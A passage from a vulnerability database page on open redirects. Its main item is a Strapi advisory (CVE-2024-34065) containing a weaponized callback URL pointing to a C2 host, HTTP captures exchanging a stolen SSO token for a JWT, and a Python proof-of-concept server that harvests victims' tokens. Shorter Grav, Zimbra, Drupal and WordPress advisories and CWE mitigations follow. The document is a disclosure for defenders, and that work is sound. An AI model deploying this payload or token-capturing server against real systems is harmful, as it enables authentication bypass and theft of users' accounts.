ApplicationError(\u0027This provider is disabled\u0027);\n    }\n\n    if (provider === \u0027local\u0027) {\n      await validateCallbackBody(params);\n\n      const { identifier } = params;\n\n      // Check if the user exists.\n      const user = await strapi.query(\u0027plugin::users-permissions.user\u0027).findOne({\n        where: {\n          provider,\n          $or: [{ email: identifier.toLowerCase() }, { username: identifier }],\n        },\n      });\n\n      if (!user) {\n        throw new ValidationError(\u0027Invalid identifier or password\u0027);\n      }\n\n      if (!user.password) {\n        throw new ValidationError(\u0027Invalid identifier or password\u0027);\n      }\n\n      const validPassword = await getService(\u0027user\u0027).validatePassword(\n        params.password,\n        user.password\n      );\n\n      if (!validPassword) {\n        throw new ValidationError(\u0027Invalid identifier or password\u0027);\n      }\n\n      const advancedSettings = await store.get({ key: \u0027advanced\u0027 });\n      const requiresConfirmation = _.get(advancedSettings, \u0027email_confirmation\u0027);\n\n      if (requiresConfirmation \u0026\u0026 user.confirmed !== true) {\n        throw new ApplicationError(\u0027Your account email is not confirmed\u0027);\n      }\n\n      if (user.blocked === true) {\n        throw new ApplicationError(\u0027Your account has been blocked by an administrator\u0027);\n      }\n\n      return ctx.send({\n        jwt: getService(\u0027jwt\u0027).issue({ id: user.id }),\n        user: await sanitizeUser(user, ctx),\n      });\n    }\n\n    // Connect the user with the third-party provider.\n    try {\n      const user = await getService(\u0027providers\u0027).connect(provider, ctx.query);\n\n      if (user.blocked) {\n        throw new ForbiddenError(\u0027Your account has been blocked by an administrator\u0027);\n      }\n\n      return ctx.send({\n        jwt: getService(\u0027jwt\u0027).issue({ id: user.id }),\n        user: await sanitizeUser(user, ctx),\n      });\n    } catch (error) {\n      throw new ApplicationError(error.message);\n    }\n  },\n\n  //...\n\n  async connect(ctx, next) {\n    const grant = require(\u0027grant-koa\u0027);\n\n    const providers = await strapi\n      .store({ type: \u0027plugin\u0027, name: \u0027users-permissions\u0027, key: \u0027grant\u0027 })\n      .get();\n\n    const apiPrefix = strapi.config.get(\u0027api.rest.prefix\u0027);\n    const grantConfig = {\n      defaults: {\n        prefix: `${apiPrefix}/connect`,\n      },\n      ...providers,\n    };\n\n    const [requestPath] = ctx.request.url.split(\u0027?\u0027);\n    const provider = requestPath.split(\u0027/connect/\u0027)[1].split(\u0027/\u0027)[0];\n\n    if (!_.get(grantConfig[provider], \u0027enabled\u0027)) {\n      throw new ApplicationError(\u0027This provider is disabled\u0027);\n    }\n\n    if (!strapi.config.server.url.startsWith(\u0027http\u0027)) {\n      strapi.log.warn(\n        \u0027You are using a third party provider for login. Make sure to set an absolute url in config/server.js. More info here: https://docs.strapi.io/developer-docs/latest/plugins/users-permissions.html#setting-up-the-server-url\u0027\n      );\n    }\n\n    // Ability to pass OAuth callback dynamically\n    grantConfig[provider].callback =\n      _.get(ctx, \u0027query.callback\u0027) ||\n      _.get(ctx, \u0027session.grant.dynamic.callback\u0027) ||\n      grantConfig[provider].callback;\n    grantConfig[provider].redirect_uri = getService(\u0027providers\u0027).buildRedirectUri(provider);\n\n    return grant(grantConfig)(ctx, next);\n  },\n\n  //...\n\n};\n```\n\nAnd more specifically:\n\n```js\n...\n\n    // Ability to pass OAuth callback dynamically\n    grantConfig[provider].callback =\n      _.get(ctx, \u0027query.callback\u0027) ||\n      _.get(ctx, \u0027session.grant.dynamic.callback\u0027) ||\n      grantConfig[provider].callback;\n    grantConfig[provider].redirect_uri = getService(\u0027providers\u0027).buildRedirectUri(provider);\n\n    return grant(grantConfig)(ctx, next);\n...\n```\n\nPossible patch:\n\n```js\ngrantConfig[provider].callback = process.env[`${provider.toUpperCase()}_REDIRECT_URL`] || grantConfig[provider].callback\n```\n\n`_.get(ctx, \u0027query.callback\u0027)` = `$_GET[\"callback\"]` and `_.get(ctx, \u0027session\u0027)` = `$_COOKIE[\"koa.sess\"]` (which is `{\"grant\":{\"provider\":\"microsoft\",\"dynamic\":{\"callback\":\"https://XXXXXXX/\"}},\"_expire\":1701275652123,\"_maxAge\":86400000}`) so `_.get(ctx, \u0027session.grant.dynamic.callback\u0027)` = `https://XXXXXXX/`.\n\nThe route is clearly defined here:\n\nFile: [\u003cspan dir=\"\"\u003epackages/plugins/users-permissions/server/routes/content-api/auth.js\u003c/span\u003e](https://github.com/strapi/strapi/blob/develop/packages/plugins/users-permissions/server/routes/content-api/auth.js)\n\n```js\n\u0027use strict\u0027;\n\nmodule.exports = [\n\n//...\n\n  {\n    method: \u0027GET\u0027,\n    path: \u0027/auth/:provider/callback\u0027,\n    handler: \u0027auth.callback\u0027,\n    config: {\n      prefix: \u0027\u0027,\n    },\n  },\n\n  //...\n\n];\n```\n\nFile: [\u003cspan dir=\"\"\u003epackages/plugins/users-permissions/server/services/providers-registry.js\u003c/span\u003e](https://github.com/strapi/strapi/blob/develop/packages/plugins/users-permissions/server/services/providers-registry.js)\n\n```js\n\nconst getInitialProviders = ({ purest }) =\u003e ({\n\n//..\n\n  async microsoft({ accessToken }) {\n    const microsoft = purest({ provider: \u0027microsoft\u0027 });\n\n    return microsoft\n      .get(\u0027me\u0027)\n      .auth(accessToken)\n      .request()\n      .then(({ body }) =\u003e ({\n        username: body.userPrincipalName,\n        email: body.userPrincipalName,\n      }));\n  },\n\n//..\n\n});\n```\n\nIf parameter `$_GET[\"callback\"]` is defined in the GET request, the assignment does not evaluate all conditions, but stops at the beginning. The value is then stored in the cookie `koa.sess`:\n\n`koa.sess`=`eyJncmFudCI6eyJwcm92aWRlciI6Im1pY3Jvc29mdCIsImR5bmFtaWMiOnsiY2FsbGJhY2siOiJodHRwczovL2FkbWluLmludGUubmV0YXRtby5jb20vdXNlcnMvYXV0aC9yZWRpcmVjdCJ9fSwiX2V4cGlyZSI6MTcwMTI3NTY1MjEyMywiX21heEFnZSI6ODY0MDAwMDB9`\n\nWhich once base64 decoded become `{\"grant\":{\"provider\":\"microsoft\",\"dynamic\":{\"callback\":\"https://\u003cTARGET\u003e/users/auth/redirect\"}},\"_expire\":1701275652123,\"_maxAge\":86400000}`.\n\nThe signature of the cookie is stored in cookie `koa.sess.sig`:\n\n`koa.sess.sig`=`wTRmcVRrn88hWMdg84VvSD87-_0`\n\nFile: [\u003cspan dir=\"\"\u003epackages/plugins/users-permissions/server/bootstrap/grant-config.js\u003c/span\u003e](https://github.com/strapi/strapi/blob/develop/packages/plugins/users-permissions/server/bootstrap/grant-config.js)\n\n```js\n\n//..\n\n  microsoft: {\n    enabled: false,\n    icon: \u0027windows\u0027,\n    key: \u0027\u0027,\n    secret: \u0027\u0027,\n    callback: `${baseURL}/microsoft/callback`,\n    scope: [\u0027user.read\u0027],\n  },\n\n//..\n```\n\n#### Vulnerability 2: Session token in URL\n\n##### Description\n\nApplications should not send session tokens as URL query parameters and use instead an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.\n\n###### Example 1: SSO token transmitted within URL (`$_GET[\"access_token\"]`)\n\n- Path: \u003cspan dir=\"\"\u003e/api/connect/microsoft\u003c/span\u003e\n- Parameter: `$_GET[\"callback\"]`\n\nWhen a callback was called, the 3rd party token was transmitted in an insecure way within the URL, which could be used to increase the impact of the Open Redirect vulnerability described previously by stealing the SSO token.\n\nWeaponized payload:\n\n```plaintext\nhttps://\u003cTARGET\u003e/api/connect/microsoft?callback=http://\u003cC2\u003e:8080/\n```\n\nWith a web server specially developed to exploit the vulnerability listening on \u003cspan dir=\"\"\u003e\\\u003cC2\\\u003e:8080\u003c/span\u003e,  it is possible to retrieve a JWT token allowing authentication on Strapi.\n\nA user is on his browser when he decides to click on a link sent to him by e-mail.\n\n![c4](https://github.com/strapi/strapi/assets/30262080/c6e22fa1-14a4-4c76-a832-d07305f265b6)\n\n\u003e The attacker places the malicious link in the URL bar to simulate a victim\u0027s click.\n\n![c5](https://github.com/strapi/strapi/assets/30262080/4da28c5b-6501-4f93-9041-9917a2b070e6)\n\nThe server specially developed by the attacker to show that the vulnerability is exploitable, recovers the user\u0027s SSO token.\n\n\u003e Everything is invisible to the victim.\n\n![c6](https://github.com/strapi/strapi/assets/30262080/58db0a31-3b3b-4648-958b-953eba88bf87)\n\nBecause the victim didn\u0027t change to another Web page.\n\n![c7](https://github.com/strapi/strapi/assets/30262080/ab4dd6f9-02e1-42c9-9142-434db865f0d3)\n\nThe attacker can use the SSO token to authenticate himself within the application and retrieve a valid JWT token enabling him to interact with it.\n\n![c8](https://github.com/strapi/strapi/assets/30262080/aab8d22f-5f0e-4a67-85a8-2e333df9b84b)\n\n##### Details\n\n###### Get the JWT token with the `access_token`\n\nFirst of all, thanks to the SSO token, you authenticate yourself and get a JWT token to be able to interact with the various API routes.\n\nRequest (HTTP):\n\n```http\nGET /api/auth/microsoft/callback?access_token=eyJ0eXAiOiJKV\u003cREDACTED\u003eyBzA HTTP/1.1\nHost: \u003cTARGET\u003e\n\n```\n\nResponse (HTTP):\n\n```http\nHTTP/1.1 200 OK\nServer: nginx\nDate: Mon, 27 Nov 2023 17:58:46 GMT\nContent-Type: application/json; charset=utf-8\nContent-Length: 411\nConnection: keep-alive\nContent-Security-Policy: connect-src \u0027self\u0027 https:;img-src \u0027self\u0027 data: blob: https://market-assets.strapi.io;media-src \u0027self\u0027 data: blob:;default-src \u0027self\u0027;base-uri \u0027self\u0027;font-src \u0027self\u0027 https: data:;form-action \u0027self\u0027;frame-ancestors \u0027self\u0027;object-src \u0027none\u0027;script-src \u0027self\u0027;script-src-attr \u0027none\u0027;style-src \u0027self\u0027 https: \u0027unsafe-inline\u0027\nReferrer-Policy: no-referrer\nStrict-Transport-Security: max-age=31536000; includeSubDomains\nX-Content-Type-Options: nosniff\nX-DNS-Prefetch-Control: off\nX-Download-Options: noopen\nX-Frame-Options: SAMEORIGIN\nX-Permitted-Cross-Domain-Policies: none\nVary: Origin\nX-XSS-Protection: 1; mode=block\nStrict-Transport-Security: max-age=31536000; includeSubDomains\nX-Powered-By: \u003cREDACTED\u003e\n\n{\"jwt\":\"eyJhbG\u003cREDACTED\u003eeCac\",\"user\":{\"id\":111,\"username\":\"\u003cREDACTED\u003e@\u003cREDACTED\u003e-ext.com\",\"email\":\"\u003credacted\u003e@\u003credacted\u003e-ext.com\",\"provider\":\"microsoft\",\"confirmed\":true,\"blocked\":false,\"createdAt\":\"2023-11-14T12:35:42.440Z\",\"updatedAt\":\"2023-11-16T21:00:19.241Z\",\"is_external\":false}}\n```\n\n###### Request API routes using the JWT token\n\nThen reuse the JWT token to request the API.\n\nRequest (HTTP):\n\n```http\nGET /api/users/me/groups?app=support HTTP/1.1\nHost: \u003cTARGET\u003e\nAuthorization: Bearer eyJ\u003cREDACTED\u003eEeCac\n\n```\n\nResponse (HTTP):\n\n```http\nHTTP/1.1 200 OK\nServer: nginx\nDate: Tue, 28 Nov 2023 13:45:42 GMT\nContent-Type: application/json; charset=utf-8\nContent-Length: 24684\nConnection: keep-alive\nContent-Security-Policy: connect-src \u0027self\u0027 https:;img-src \u0027self\u0027 data: blob: https://market-assets.strapi.io;media-src \u0027self\u0027 data: blob:;default-src \u0027self\u0027;base-uri \u0027self\u0027;font-src \u0027self\u0027 https: data:;form-action \u0027self\u0027;frame-ancestors \u0027self\u0027;object-src \u0027none\u0027;script-src \u0027self\u0027;script-src-attr \u0027none\u0027;style-src \u0027self\u0027 https: \u0027unsafe-inline\u0027\nReferrer-Policy: no-referrer\nStrict-Transport-Security: max-age=31536000; includeSubDomains\nX-Content-Type-Options: nosniff\nX-DNS-Prefetch-Control: off\nX-Download-Options: noopen\nX-Frame-Options: SAMEORIGIN\nX-Permitted-Cross-Domain-Policies: none\nVary: Origin\nX-RateLimit-Limit: 10\nX-RateLimit-Remaining: 9\nX-RateLimit-Reset: 1701179203\nX-XSS-Protection: 1; mode=block\nStrict-Transport-Security: max-age=31536000; includeSubDomains\nX-Powered-By: \u003cREDACTED\u003e\n\n{\"apps\":{\"support\":{\"groups\":[{\"device_whitelist\":null,\"name\":\"test - support\",\"id\":10,\"group_privileges\":[{\"id\":37,\u003cREDACTED\u003e\n\n...\n```\n\n### POC (Web server stealing SSO token and retrieving JWT token then bypassing authentication)\n\n```python\nimport base64\nimport json\nimport urllib.parse\n\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nfrom sys import argv\n\n\n# Strapi URL.\nTARGET = \"target.com\"\n\n# URLs to which victims are automatically redirected.\nREDIRECT_URL = [\n    \"strapi.io\",\n    \"www.google.fr\"\n]\n# URL used to generate a valid JWT token for authentication within the\n# application.\nGEN_JWT_URL = f\"https://{TARGET}/api/auth/microsoft/callback\"\n\n\n# This function is used to generate a curl command which once executed, will\n# give us a valid JWT connection token.\ndef generate_curl_command(token):\n    command = f\"curl \u0027{GEN_JWT_URL}?access_token={token}\u0027\"\n    return command\n\n\n# We create a custom HTTP server to retrieve users\u0027 SSO tokens.\nclass CustomServer(BaseHTTPRequestHandler):\n\n    # Here we override the default logging function to reduce verbosity.\n    def log_message(self, format, *args):\n        pass\n\n    # This function automatically redirects a user to the page defined in the\n    # global variable linked to the redirection.\n    def _set_response(self):\n        self.send_response(302)\n        self.send_header(\"Location\", REDIRECT_URL[0])\n        self.end_headers()\n\n    # If an SSO token is present, we parse it and log the result in STDOUT.\n    def do_GET(self):\n        # This condition checks whether a token is present in the URL.\n        if str(self.path).find(\"access_token\") != -1:\n            # If this is the case, we recover the token.\n            query = urllib.parse.urlparse(self.path).query\n            query_components = dict(qc.split(\"=\") for qc in query.split(\"\u0026\"))\n            access_token = urllib.parse.unquote(query_components[\"access_token\"])\n\n            # In the token, which is a string in JWT format, we retrieve the\n            # body part of the token.\n            interesting_data = access_token.split(\".\")[1]\n\n            # Patching base64 encoded data.\n            interesting_data = interesting_data + \"=\" * (-len(interesting_data) % 4)\n\n            # Parsing JSON.\n            json_data = json.loads(base64.b64decode(interesting_data.encode()))\n            family_name, given_name, ipaddr, upn = json_data[\"given_name\"], json_data[\"family_name\"], json_data[\"ipaddr\"], json_data[\"upn\"]\n\n            print(f\"[+] Token captured for {family_name} {given_name}, {upn} ({ipaddr}):\\n{access_token}\\n\")\n            print(f\"[*] Run: \\\"{generate_curl_command(query_components[\u0027access_token\u0027])}\\\" to get JWT token\")\n\n        self._set_response()\n        self.wfile.write(\"Redirecting ...\".encode(\"utf-8\"))\n\n\ndef run(server_class=HTTPServer, handler_class=CustomServer, ip=\"0.0.0.0\", port=8080):\n    server_address = (ip, port)\n    httpd = server_class(server_address, handler_class)\n\n    print(f\"Starting httpd ({ip}:{port}) ...\")\n    try:\n        httpd.serve_forever()\n    except KeyboardInterrupt:\n        pass\n\n    httpd.server_close()\n    print(\"Stopping httpd ...\")\n\n\nif __name__ == \"__main__\":\n    if len(argv) == 3:\n        run(ip=argv[1], port=int(argv[2]))\n    else:\n        run()\n```\n",
  "id": "GHSA-wrvh-rcmr-9qfc",
  "modified": "2024-06-12T19:39:11Z",
  "published": "2024-06-12T19:39:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/strapi/strapi/security/advisories/GHSA-wrvh-rcmr-9qfc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-34065"
    },
    {
      "type": "WEB",
      "url": "https://github.com/strapi/strapi/commit/9c79921d22142a5de77ea26151550a14e4b12669"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/strapi/strapi"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@strapi/plugin-users-permissions leaks 3rd party authentication tokens and authentication bypass"
}

GHSA-WRXC-MR2W-CJPV

Vulnerability from github – Published: 2022-01-07 00:20 – Updated: 2023-03-08 21:32
VLAI
Summary
Open Redirect in Grav
Details

Common/Grav.php in Grav before 1.6.23 has an Open Redirect.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "getgrav/grav"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.23"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-11529"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-19T22:30:40Z",
    "nvd_published_at": "2020-04-04T19:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Common/Grav.php in Grav before 1.6.23 has an Open Redirect.",
  "id": "GHSA-wrxc-mr2w-cjpv",
  "modified": "2023-03-08T21:32:06Z",
  "published": "2022-01-07T00:20:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-11529"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/issues/3134"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/commit/2eae104c7a4bf32bc26cb8073d5c40464bfda3f7"
    },
    {
      "type": "WEB",
      "url": "https://getgrav.org/#changelog"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getgrav/grav"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open Redirect in Grav"
}

GHSA-WV5J-J74P-FV28

Vulnerability from github – Published: 2022-05-24 19:06 – Updated: 2022-05-24 19:06
VLAI
Details

An issue was discovered in ProxyServlet.java in the /proxy servlet in Zimbra Collaboration Suite 8.8 before 8.8.15 Patch 23 and 9.x before 9.0.0 Patch 16. The value of the X-Host header overwrites the value of the Host header in proxied requests. The value of X-Host header is not checked against the whitelist of hosts Zimbra is allowed to proxy to (the zimbraProxyAllowedDomains setting).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-35209"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601",
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-07-02T19:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An issue was discovered in ProxyServlet.java in the /proxy servlet in Zimbra Collaboration Suite 8.8 before 8.8.15 Patch 23 and 9.x before 9.0.0 Patch 16. The value of the X-Host header overwrites the value of the Host header in proxied requests. The value of X-Host header is not checked against the whitelist of hosts Zimbra is allowed to proxy to (the zimbraProxyAllowedDomains setting).",
  "id": "GHSA-wv5j-j74p-fv28",
  "modified": "2022-05-24T19:06:48Z",
  "published": "2022-05-24T19:06:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-35209"
    },
    {
      "type": "WEB",
      "url": "https://blog.sonarsource.com/zimbra-webmail-compromise-via-email"
    },
    {
      "type": "WEB",
      "url": "https://wiki.zimbra.com/wiki/Security_Center"
    },
    {
      "type": "WEB",
      "url": "https://wiki.zimbra.com/wiki/Zimbra_Releases/8.8.15/P23"
    },
    {
      "type": "WEB",
      "url": "https://wiki.zimbra.com/wiki/Zimbra_Releases/9.0.0/P16"
    },
    {
      "type": "WEB",
      "url": "https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-WWRM-8947-4M6C

Vulnerability from github – Published: 2022-05-17 04:56 – Updated: 2023-08-29 21:31
VLAI
Summary
Drupal Open Redirect
Details

Open redirect vulnerability in the Form API in Drupal 7.x before 7.13 allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via crafted parameters in a destination URL.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "drupal/drupal"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0"
            },
            {
              "fixed": "7.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2012-1589"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-601"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-08-29T21:31:37Z",
    "nvd_published_at": "2012-05-18T20:55:00Z",
    "severity": "MODERATE"
  },
  "details": "Open redirect vulnerability in the Form API in Drupal 7.x before 7.13 allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via crafted parameters in a destination URL.",
  "id": "GHSA-wwrm-8947-4m6c",
  "modified": "2023-08-29T21:31:37Z",
  "published": "2022-05-17T04:56:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2012-1589"
    },
    {
      "type": "WEB",
      "url": "https://web.archive.org/web/20120507035905/http://www.securityfocus.com/bid/53365"
    },
    {
      "type": "WEB",
      "url": "https://web.archive.org/web/20150523060428/http://www.mandriva.com/en/support/security/advisories/advisory/MDVSA-2013:074/?name=MDVSA-2013:074"
    },
    {
      "type": "WEB",
      "url": "http://drupal.org/node/1557938"
    },
    {
      "type": "WEB",
      "url": "http://jvn.jp/en/jp/JVN45898075/index.html"
    },
    {
      "type": "WEB",
      "url": "http://jvndb.jvn.jp/jvndb/JVNDB-2012-000045"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Drupal Open Redirect"
}

GHSA-WWVV-R6Q6-282Q

Vulnerability from github – Published: 2022-05-24 16:55 – Updated: 2024-04-04 01:50
VLAI
Details

The nd-booking plugin before 2.5 for WordPress has a nopriv_ AJAX action that allows modification of the siteurl setting.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2019-15774"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-08-29T12:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The nd-booking plugin before 2.5 for WordPress has a nopriv_ AJAX action that allows modification of the siteurl setting.",
  "id": "GHSA-wwvv-r6q6-282q",
  "modified": "2024-04-04T01:50:49Z",
  "published": "2022-05-24T16:55:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-15774"
    },
    {
      "type": "WEB",
      "url": "https://threatpost.com/wordpress-plugins-exploited-in-ongoing-attack-researchers-warn/147671"
    },
    {
      "type": "WEB",
      "url": "https://wordpress.org/plugins/nd-booking/#developers"
    },
    {
      "type": "WEB",
      "url": "https://wpvulndb.com/vulnerabilities/9494"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WXFG-253G-M7R4

Vulnerability from github – Published: 2024-05-15 21:01 – Updated: 2024-05-15 21:01
VLAI
Summary
Drupal core Open Redirect vulnerability
Details

Drupal 7 has an Open Redirect vulnerability. For example, a user could be tricked into visiting a specially crafted link which would redirect them to an arbitrary external URL.

The vulnerability is caused by insufficient validation of the destination query parameter in the drupal_goto() function.

Other versions of Drupal core are not vulnerable.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "drupal/drupal"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "7.70"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-601"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-05-15T21:01:39Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "Drupal 7 has an Open Redirect vulnerability. For example, a user could be tricked into visiting a specially crafted link which would redirect them to an arbitrary external URL.\n\nThe vulnerability is caused by insufficient validation of the destination query parameter in the drupal_goto() function.\n\nOther versions of Drupal core are not vulnerable.",
  "id": "GHSA-wxfg-253g-m7r4",
  "modified": "2024-05-15T21:01:39Z",
  "published": "2024-05-15T21:01:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/drupal/drupal/2020-05-20-1.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/drupal/drupal"
    },
    {
      "type": "WEB",
      "url": "https://www.drupal.org/sa-core-2020-003"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": " Drupal core Open Redirect vulnerability"
}

Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • Use a list of approved URLs or domains to be used for redirection.
Mitigation
Architecture and Design

Use an intermediate disclaimer page that provides the user with a clear warning that they are leaving the current site. Implement a long timeout before the redirect occurs, or force the user to click on the link. Be careful to avoid XSS problems (CWE-79) when generating the disclaimer page.

Mitigation MIT-21.2
Architecture and Design

Strategy: Enforcement by Conversion

  • When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
  • For example, ID 1 could map to "/login.asp" and ID 2 could map to "http://www.example.com/". Features such as the ESAPI AccessReferenceMap [REF-45] provide this capability.
Mitigation
Architecture and Design

Ensure that no externally-supplied requests are honored by requiring that all redirect requests include a unique nonce generated by the application [REF-483]. Be sure that the nonce is not predictable (CWE-330).

Mitigation MIT-6
Architecture and Design Implementation

Strategy: Attack Surface Reduction

  • Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
  • Many open redirect problems occur because the programmer assumed that certain inputs could not be modified, such as cookies and hidden form fields.
Mitigation MIT-29
Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

CAPEC-178: Cross-Site Flashing

An attacker is able to trick the victim into executing a Flash document that passes commands or calls to a Flash player browser plugin, allowing the attacker to exploit native Flash functionality in the client browser. This attack pattern occurs where an attacker can provide a crafted link to a Flash document (SWF file) which, when followed, will cause additional malicious instructions to be executed. The attacker does not need to serve or control the Flash document. The attack takes advantage of the fact that Flash files can reference external URLs. If variables that serve as URLs that the Flash application references can be controlled through parameters, then by creating a link that includes values for those parameters, an attacker can cause arbitrary content to be referenced and possibly executed by the targeted Flash application.